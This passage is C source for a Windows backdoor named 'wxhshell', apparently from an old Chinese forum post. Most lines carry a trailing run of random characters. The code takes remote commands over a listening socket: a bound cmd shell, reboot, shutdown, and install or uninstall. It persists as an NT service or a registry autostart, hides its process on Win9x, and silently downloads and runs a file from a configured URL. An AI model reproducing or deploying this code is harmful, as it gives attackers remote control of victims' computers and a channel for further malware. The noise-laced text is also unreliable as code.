      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ,S(^r1R   
    break; eZpyDw C{  
  } jG8W|\8  
  // 安装 zzlV((8 ~  
  case 'i': { A2 'W  
    if(Install())  Er( I6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  ~ Dvxe  
    else UYJMW S=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u0^Vy#@_  
    break; TC7&IqT  
    } c^$_epc*  
  // 卸载 LLE\;,bv  
  case 'r': { dO/iL7K&  
    if(Uninstall()) rH@ {[~p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); R+vago:  
    else D; xRgHn  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); N]gJ( g  
    break; T](N ^P  
    } }6zo1"  
  // 显示 wxhshell 所在路径 G Y??q8  
  case 'p': { N<&"_jzm  
    char svExeFile[MAX_PATH]; >fG=(1"  
    strcpy(svExeFile,"\n\r"); -3-*T)  
      strcat(svExeFile,ExeFile); h"h3SD~  
        send(wsh,svExeFile,strlen(svExeFile),0); B",5"'id  
    break; Wtl/xA_  
    } Zj,1)ii  
  // 重启 37C'knW  
  case 'b': { r@e/<bz9  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (C{l4  
    if(Boot(REBOOT)) .!#0eAT  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); nymF`0HYe1  
    else { $7k"?M_  
    closesocket(wsh); zx<:1nF,]  
    ExitThread(0); K?]><z{  
    } OP:i;%@c  
    break; \VQv "wid  
    } PeD>mCvL"  
  // 关机 ]B8`b  
  case 'd': { lG[@s 'j  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); =j,2  
    if(Boot(SHUTDOWN)) S$O+p&!X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); l|WdJn o  
    else { m/ D ~D~  
    closesocket(wsh); Ltv!;^Q5  
    ExitThread(0); }le}Vuy\s  
    } Y~ku?/"6T  
    break; e:W]B)0/e  
    } `^3N|76Y  
  // 获取shell '0\,waEu  
  case 's': { {J#SpG 7  
    CmdShell(wsh); 0j{Rsy   
    closesocket(wsh); =K#5I<x  
    ExitThread(0); Ka\h a  
    break; ?w^MnK0U)  
  } `<Ry_}V  
  // 退出 EJAk'L+nuH  
  case 'x': { S F:>dneB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); il8n K  
    CloseIt(wsh); ,|5|aVfh  
    break; >* Ag0.Az  
    } !U 6q;' )-  
  // 离开 %5g(|Y]  
  case 'q': { S10"yhn(-t  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :%&|5Ytb  
    closesocket(wsh); V47z;oMXct  
    WSACleanup(); TH[xSg  
    exit(1); AW{"9f4  
    break; .wH`9aq;5@  
        } <'y}y}%  
  } rdQKzJiX=U  
  } xh6Yv%\@  
0^lCZ,uq;  
  // 提示信息 38<Z=#S  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DxM$4  
} KM-d8^\:  
  } 1>~bzXY#  
0H9UM*O  
  return; #BLx +mLq  
} pL [JGn  
\&!qw[;O  
// shell模块句柄 k-V3l  
int CmdShell(SOCKET sock) &\Ze<u  
{ ]Rk4"i  
STARTUPINFO si; -eE r|Gs)  
ZeroMemory(&si,sizeof(si)); .}n-N #  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 19h@fA[:  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #gq!L  
PROCESS_INFORMATION ProcessInfo; ?hC,49  
char cmdline[]="cmd"; {>v5~G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); gT-"=AsxZQ  
  return 0; e=ITAH3b  
} VTUY#+3  
0<3->uK  
// 自身启动模式 }xa~U,#5  
int StartFromService(void) L'?7~Cdls  
{ l('@~-Zy  
typedef struct mz>GbImVD~  
{ 'w$jVX/  
  DWORD ExitStatus; FF5|qCV/z  
  DWORD PebBaseAddress; IGnP#@`5]  
  DWORD AffinityMask; 5eLm  
  DWORD BasePriority; n^lr7(!6  
  ULONG UniqueProcessId; luWr.<1  
  ULONG InheritedFromUniqueProcessId; urbSprdF  
}   PROCESS_BASIC_INFORMATION; TCWt3\  
>%\&tS'  
PROCNTQSIP NtQueryInformationProcess; $-i(xnU/nl  
drwD3jx0xv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6*&$ha}X  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F tS"vJ\  
73p7]Uo  
  HANDLE             hProcess; ''Y'ZsQ;  
  PROCESS_BASIC_INFORMATION pbi; M\_IQj  
ieap  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); VbI$#;:[7  
  if(NULL == hInst ) return 0; |Cm6RH$(  
Ee3 -oHa  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,{C hHnJ%#  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <B&vfKO^h  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Nsf>b8O  
~K/_51O'  
  if (!NtQueryInformationProcess) return 0; J?9n4 u  
`s8o2"12  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }vX iqT  
  if(!hProcess) return 0; ;F;Vm$  
=]fOQN`  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; $TX]*hNn  
mHyT1e  
  CloseHandle(hProcess); n&%0G2m:  
9;7|MPbR  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (V x2*Aw]  
if(hProcess==NULL) return 0; JHXtKgFX  
Gk']Ma2J}  
HMODULE hMod; G' '9eV$  
char procName[255]; B#;6z%WK  
unsigned long cbNeeded; q o6~)Aws  
&_$0lI DQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); r_hs_n!6  
>ZwDcuJ~Lz  
  CloseHandle(hProcess); o- v#Zl  
X> T_Xc  
if(strstr(procName,"services")) return 1; // 以服务启动 Kw7uUJR  
[G",Yky  
  return 0; // 注册表启动 .% 79(r^  
} b_vKP  
xj[v$HP  
// 主模块 M?_7*o]!  
int StartWxhshell(LPSTR lpCmdLine) 7n)ob![\d  
{ /!'Png0!  
  SOCKET wsl; w m|WER*.  
BOOL val=TRUE; YTD&swk  
  int port=0; TD sjNFe3  
  struct sockaddr_in door; [XhG7Ly  
60G(jO14  
  if(wscfg.ws_autoins) Install(); cTBUj  
tR\cS )  
port=atoi(lpCmdLine); f>iDq C4  
cE^Ljk  
if(port<=0) port=wscfg.ws_port; L0)w~F ?m  
%Jji<M]  
  WSADATA data; fuU 3?SG  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Z*+y?5+L"P  
&. MUSqo9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \1O wZ@  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); t"Bp # U1  
  door.sin_family = AF_INET; #p<(2wN  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); _fdD4-2U  
  door.sin_port = htons(port); jmG)p|6  
}` YtXD-o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { R; ui 4wg6  
closesocket(wsl); 7~~suQ{F4  
return 1; kni{1Gr  
} Iqci}G%r  
:*ZijN*{)$  
  if(listen(wsl,2) == INVALID_SOCKET) { VHi'~B#'*  
closesocket(wsl); *P/DDRq(2  
return 1; Ss3~X90!*B  
} Q?bCQZ{-Lh  
  Wxhshell(wsl); %ol\ sO|  
  WSACleanup(); [Z2{S-)UM  
Ga_Pt8L6  
return 0; 8,IQ6Or|-2  
]XASim:A  
} 'YJ~~o  
_^g4/G#13c  
// 以NT服务方式启动 IF  cre  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) xn>N/+,  
{ M.\XG}RR  
DWORD   status = 0; Y!`  pF  
  DWORD   specificError = 0xfffffff; AyNpY_B0c  
v|KGzQx$.*  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  nvCp-Z$  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; EiDnUL(W7h  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ng2Z7k  
  serviceStatus.dwWin32ExitCode     = 0; XmP,3KG2{S  
  serviceStatus.dwServiceSpecificExitCode = 0; 8!b>[Nsc  
  serviceStatus.dwCheckPoint       = 0; 0#NbAMt  
  serviceStatus.dwWaitHint       = 0; HV'M31m~q  
g~2=he\C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ma xpR>7`j  
  if (hServiceStatusHandle==0) return; nIZsKbnw  
2tg07  
status = GetLastError(); QnJLTBv  
  if (status!=NO_ERROR) kRr/x-"  
{ C[';B)a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; _kc}:  
    serviceStatus.dwCheckPoint       = 0; &7,:: $cu  
    serviceStatus.dwWaitHint       = 0; 1\%@oD_zG  
    serviceStatus.dwWin32ExitCode     = status; )%b 5uZ  
    serviceStatus.dwServiceSpecificExitCode = specificError; K^h9\< w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); [&IcIZ  
    return; (+6N)9rj`/  
  } #Cx#U"~G`  
^ZIs>.'  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; +^jm_+  
  serviceStatus.dwCheckPoint       = 0; B6j/"x6N15  
  serviceStatus.dwWaitHint       = 0; ]4r&Q4d>O  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); c_>AbF{  
} ]a`"O  
E`.:V<KW/  
// 处理NT服务事件,比如:启动、停止 K"[\)&WBG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +tlBOl $  
{ Ljiw9*ZI  
switch(fdwControl) K%W;-W*'  
{ zf]e"e  
case SERVICE_CONTROL_STOP: OnU-FX<  
  serviceStatus.dwWin32ExitCode = 0; 'BUfdb8d  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P#MUS_x  
  serviceStatus.dwCheckPoint   = 0; F vTswM>  
  serviceStatus.dwWaitHint     = 0; WFzM s  
  { Y78DYbU.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0_AIKJrL  
  } 0176  
  return; @FZ_[CYg  
case SERVICE_CONTROL_PAUSE: ~N/a\%`  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; t&p I  
  break; XwfR/4  
case SERVICE_CONTROL_CONTINUE: AyW=.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; |26[=_[q  
  break; h:|BQC  
case SERVICE_CONTROL_INTERROGATE: :0ltq><?  
  break; K2\)9  
}; ^(Z%,j3O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 9KB}?~Nx4  
} $=ESY>MO  
^O =G%de  
// 标准应用程序主函数 cs _  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M6 8foeeN  
{ 7<=p*  
`Kn+d~S4  
// 获取操作系统版本 "',;pGg|K  
OsIsNt=GetOsVer(); 7KGb2V<t  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ]jPP]Z:y  
eh>FYx( S  
  // 从命令行安装 0~+*$W  
  if(strpbrk(lpCmdLine,"iI")) Install(); B'mUDW8\D  
Q^=0p0  
  // 下载执行文件 6nJQPa  
if(wscfg.ws_downexe) { *YX5bpR?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) #z70:-`.[M  
  WinExec(wscfg.ws_filenam,SW_HIDE); /fLm )vN  
} Um4DVg5  
wv\V&U$  
if(!OsIsNt) { ]d~{8h!G  
// 如果时win9x,隐藏进程并且设置为注册表启动 DUH DFG  
HideProc(); wW8[t8%43  
StartWxhshell(lpCmdLine); ,j9?9Z7R  
} ._t1eb`m{  
else {-Mjs BR  
  if(StartFromService()) fFoZ! H  
  // 以服务方式启动 `KE]RTq  
  StartServiceCtrlDispatcher(DispatchTable); I<XYLe[_S  
else I-1NZgv  
  // 普通方式启动 SjY|aW+wAL  
  StartWxhshell(lpCmdLine); xG(iSuz  
ycwkF$7  
return 0; CW/<?X<!n  
}
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只看该作者 1 发表于: 2006-10-10
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